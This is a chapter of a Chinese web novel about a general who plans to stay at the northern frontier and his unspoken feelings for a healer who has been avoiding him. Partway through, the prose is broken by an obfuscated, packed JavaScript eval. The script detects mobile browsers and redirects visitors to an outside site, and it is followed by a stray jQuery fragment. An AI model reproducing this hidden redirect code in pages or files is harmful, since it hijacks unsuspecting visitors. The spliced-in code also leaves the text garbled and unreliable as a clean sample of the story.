经历了半个月的修整,溪州城逐渐恢复了往日生机,街道两侧的商铺重新支起竹帘,小贩也摆起货摊,人来人往,呈现一幅安宁祥和之象。
裴时与今日找沈以宁来,就是商量解毒的事情。
不止谢知凌,军中其他中毒的人也出现了伤口未好的现象。他派人去牢里问差点被烧死的徐医师到底是何故,徐医师说此毒解药只能保命,而余毒会滞于经脉。
“以宁,你们还是快些回京为好,溪州解决不了的,京城总会有点办法,我已备好车马,明日便可启程。”
“可西南战事未平,我们都回京去了,你一个人……”
还剩一城未定,裴时与自然是不能回去的,回京的是她、沈疏香和谢知凌三人。
沈以宁话未说完便被打断:“相州已成孤城,且粮道已断,最多不过月余便能破城,倒是你们,得快些回京治伤。”
晨光照在青年银甲上,将他眉宇间的坚毅映得分明。
沈以宁望着他执拗的侧脸,终是叹了口气:“好,那我们在京城等你凯旋,裴将军此次必定威震西南!”
却不料裴时与突然有些怅然,从小贩手中接过两支糖葫芦,一支递给沈以宁,一支自己拿着。
他咬破一颗山楂,酸甜滋味在舌尖漫开:“还是你做得更好吃。”
“是吗?我尝尝。”沈以宁浅浅咬了一口,笑道:“确实没我做的甜,我可是放了三倍的糖,你当时还说要腻死人了,现在又念起我的好了?”
“等回京之后,我再给大家露一手。”
裴时与却摇头说道:“不必等我,西南战事结束后,我就要回朔州了。”
“你不回京城了?”沈以宁笑容一滞。
“可能会停留一小段时间吧,前些日子刚递的折子,陛下已经允准我永驻朔州了。”他说话时嘴角噙着笑,眼底却像飘着塞外的雪,“毕竟这是我从小到大的愿望,我的使命就是守护那座城。”
他没忘记十三岁那年的风雪,也没忘记在父母灵前发的誓,他一直以来的愿望就是护得山河平安,人人得以安宁生活。
沈伯父出事后,他一人挑起了朔州的大梁,这几年北漠安分守己,他便京城朔州两头跑,算下来在京城呆的日子多些,当然这其中也有陪沈以宁的缘故。
但是之后的日子,他想永远守在朔州,那里是他的家,他的战马认得那里的草场。
他突然止步,望向沈以宁,柔声说道:“接下来的路已经不需要我陪你了,有更好的人陪着你走,我很放心,阿姐。”
沈以宁心头一颤。
她长裴时与一岁,幼时裴时与还喊她阿姐,等长大后裴时与便直接唤她的名字。
如今听到这久违的称呼,她莫名难过。
京城不知有多少人揣测她和裴时与的关系,好的坏的,她全部听过,但她从不在意。
在她心里,她和裴时与就是真正的亲人,他们还约定,等北漠真正归降那一日,便去看看江南的春色与边关到底有何不同。
她咽下喉间酸涩:“时与,这句话好像告别,我不要听,你若想回朔州,就放心地回去,只一点,永远不要和我告别。”
他们有着同样的成长经历,他们最熟悉彼此。
所以她是这世间最理解他决定的人,若不是爹爹受伤来京,她和时与估计会一辈子呆在朔州守城吧。
她再抬头时眼中已有盈盈水光:“更好的人……没有人能代替你,不论是谁。”
“我知道。”裴时与笑道:“但是他们两个都把你看得比命还要重,性子一个沉稳,一个冲动,倒也互补,起码我离开京城后,也不会再忧心你了。”
一个沉稳,一个冲动,沈以宁身边的两大护法,他十分放心。
长街忽起秋风,沈以宁话锋一转:“时与,你既然说到了她,那我便问问你,你能舍得下她?”
融化的糖衣顺着竹签渗进指缝,裴时与恍然未觉:“你说的这句话我倒有些听不懂了。”
“你当然听得懂,”沈以宁笑着叹气:“这些日子里你对她的好我都是能看见的,我不信你对她只是单纯的照顾。”
“此去经年,你当真甘心就此别过?”
裴时与面色倏然凝住,许久才答道:“不过是襄王有意,神女无心罢了……我也不该再扰她。”
“她对谁都好,只是我错以为自己与她更亲近。”
他不禁想起那个荒诞的夜,那个意乱情迷的吻,像梦一般,可醒来后却是她再也不愿提及的……污点。
“你可知道她的心意?若不知道她的心意就在此自怨自艾,可不是你的作风啊!”
沈以宁朝前一指,沈疏香正立在谢知凌房门前,手指攥着胸前衣襟,似乎不太舒服,完全没注意到站在院门口的两人。
“我知道,她自然是对我无意……”
他记得她的每一次摇头,每一次否定,好多次甚至觉得她在装傻。
可是即便她被人下药,即便她抱着他,即便她主动吻他……却也不曾对他说一句喜欢。
他才知晓,她是真的对他无意。
在她眼中,他也和旁人无异,起码她对他的笑容和对阿旭的笑容是一样的。
沈以宁却不放弃,又问:“那她可知晓你的心意?你知道疏香的心思一直都不在情爱上,你若是不提,她断然不会往那想。”
远处的人儿又开始倚在门边,抬手扶额,眉毛都皱到了一起。
果然,一旦她出现,他的视线就再也离不开她。
他下意识答道:“她知晓……”说到一半又停住。
忆及过往,那些与她相处的无数个瞬间,好像都没有一句“我心悦你,你待我如何?”
她知晓自己的心意么?他或许……该给她一句明明白白的交代。
沈以宁见他疑惑神情,抬手拍上他的肩,朗声道:“走吧,在回京之前,同她说明你的心意。”
……
杯中茶水凉透,沈疏香一口未喝。
这实在不是一个好故事,沈疏香听得毛骨悚然,不等谢知凌讲完后续,她就借口要给伤兵煎药逃了出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357572|167997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳光暖洋洋的,她浑身却止不住发寒。
一个充斥着怀疑的故事,她不觉其中有半分甜蜜。
同她想的一样,一旦陷入权力旋涡,沈以宁怕是连自己怎么死的都不知道,看来有时间她得重新拾起书本,好好给沈以宁讲些道理,特别是那些勾心斗角的故事。
她不同意这桩婚事的原因并未消失,只不过是这次事件让她改变了对谢知凌的看法,他能保护好沈以宁,那她就让步。
沈疏香倚在门边,脑海中浮现出另一个问题。
可按十八年后的结果来看,沈以宁没有出事,出事的反而是谢知凌。
她不禁皱眉,这皇位这么难争么?若涉及朝政上的事,她也不懂,恐怕帮不了谢知凌,可又不能坐以待毙,总要做些什么才好,接下来,她到底该如何呢?
沈以宁的声音就在此时响起:“疏香,怎么在门口站着,为何不进去?”
她指指地上的药箱:“我刚给他换完药出来,沈以宁,你怎么吃糖葫芦不给我买?”作势就要夺过沈以宁手中的糖葫芦咬一口,“背着我吃独食?”
不料沈以宁一躲,笑嘻嘻道:“那你得问时与了,问问他为什么不给你买?”
抬眼瞧着四五步外站着的裴时与,沈疏香像被火燎似的收回手,瞬间没了逗乐的心思,提起药箱就要跑。
不料手臂一紧,下一瞬就被裴时与拽了回来:“怎么像躲瘟神一样躲我?”
她连忙摇头,垂眸看向空地,一边抽着胳膊,一边念叨“没有没有,怎么可能”。
她确实躲了裴时与半个月,可她也是被逼无奈啊,一看到裴时与,她就会想起那晚的事情,那个缠绵的吻,那些暧昧喘息声,以及自己不可描述的情态。
第二天睡醒后,她看着自己身上的红痕愣了好一会,然后躲在房间里两天不敢出门。
她实在不知该怎么面对裴时与,就说自己一时糊涂占了他的便宜?
而且救了沈以宁之后,裴时与的脸色算不上好,她竟然还口不择言说以后会还给他。
现在想来真是笑话,怎么还?难不成占他两次便宜?
她做下这等糊涂事,自然不敢再见裴时与。
“明明就是。”低沉的声音从头顶传来,手臂被箍得越发紧,她根本挣不开。
完了,这姓裴的不会恨上她了吧?
她转头求助沈以宁,不料沈以宁早没影了,偌大的院子中,只余她和裴时与两人。
两人单独相处……她的脸腾一下烧起来。
她恨不得将头埋进药箱里:“怎么会呢?就是看你俩吃糖葫芦,有点馋了,着急去买一个。”
她不安地扭着胳膊:“你先放开我,有点疼……”
裴时与声音也软了下来:“我有话和你说。”松开了攥着她胳膊的手。
沈疏香瞬间脚底抹油,溜之大吉:“下次,下次一定,我还要忙着去煎药。”
裴时与望着那差点撞树上的慌张身影,掌心还残留着温软的触感。
“还说不是躲我……”